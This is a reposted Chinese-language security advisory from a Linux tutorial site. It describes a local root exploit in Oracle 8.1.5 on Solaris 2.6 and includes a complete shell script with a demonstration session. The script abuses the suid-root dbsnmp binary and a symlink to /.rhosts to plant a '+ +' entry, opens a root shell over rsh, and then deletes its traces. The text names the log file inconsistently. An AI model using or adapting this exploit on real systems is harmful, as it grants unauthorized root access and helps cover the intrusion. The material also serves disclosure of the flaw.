当前位置:Linux教程 - Oracle - Oracle 8 严重漏洞

Oracle 8 严重漏洞



         综述:

      Oracle 8.1.5 for UN*X存在普通用户可以得到root权限的漏洞。

      检验环境:

      Oracle 8.1.5 on Solaris 2.6 SPARC 版本。

      漏洞详细描述:

      如果没有设置ORACLE_HOME,运行dbsnmp(缺省设置suid root/sgid dba)时会在
    当前目录下产生两个log文
    件:dbsnmpc 和 dbsnmpt 。如果这两个文件不存在,dbsnmpd将会创建属性为666、大
    小为400字节左右这两个文
    件。如果这两个文件存在,dbsnmp将不改变此文件属性,并将400字节左右的输出内容
    附加到这两个文件中。如
    果root没有设置.rhosts文件,就可以通过创建一个/tmp/dbsnmpc 到 /.rhosts的符号
    连接来得到root权限。

      检验程序:

      oracle8% uname -a; id
      SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
      SUNW,Ultra-5_10
      uid=102(btellier) gid=10(staff)
      oracle8% /tmp/oracle.sh
      couldn\t read file \"/config/nmiconf.tcl\": no such file or directory
      Failed to initialize nl component,error=462
      Failed to initialize nl component,error=462
      #
      --- oracle.sh ---
      #!/bin/sh
      # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
      # You\ll probably have to change your path to dbsnmp
      # Exploit will only work if /.rhosts does NOT exist
      #
      # Brock Tellier [email protected]
      cd /tmp
      unset ORACLE_HOME
      umask 0000
      ln -s /.rhosts /tmp/dbsnmpc.log
      /u01/app/oracle/product/8.1.5/bin/dbsnmp
      echo \"+ +\" > /.rhosts
      rsh -l root localhost \sh -i\
      rsh -l root localhost rm /tmp/*log*
      rsh -l root localhost rm /.rhosts
    发布人:Crystal 来自:linux技术支持站点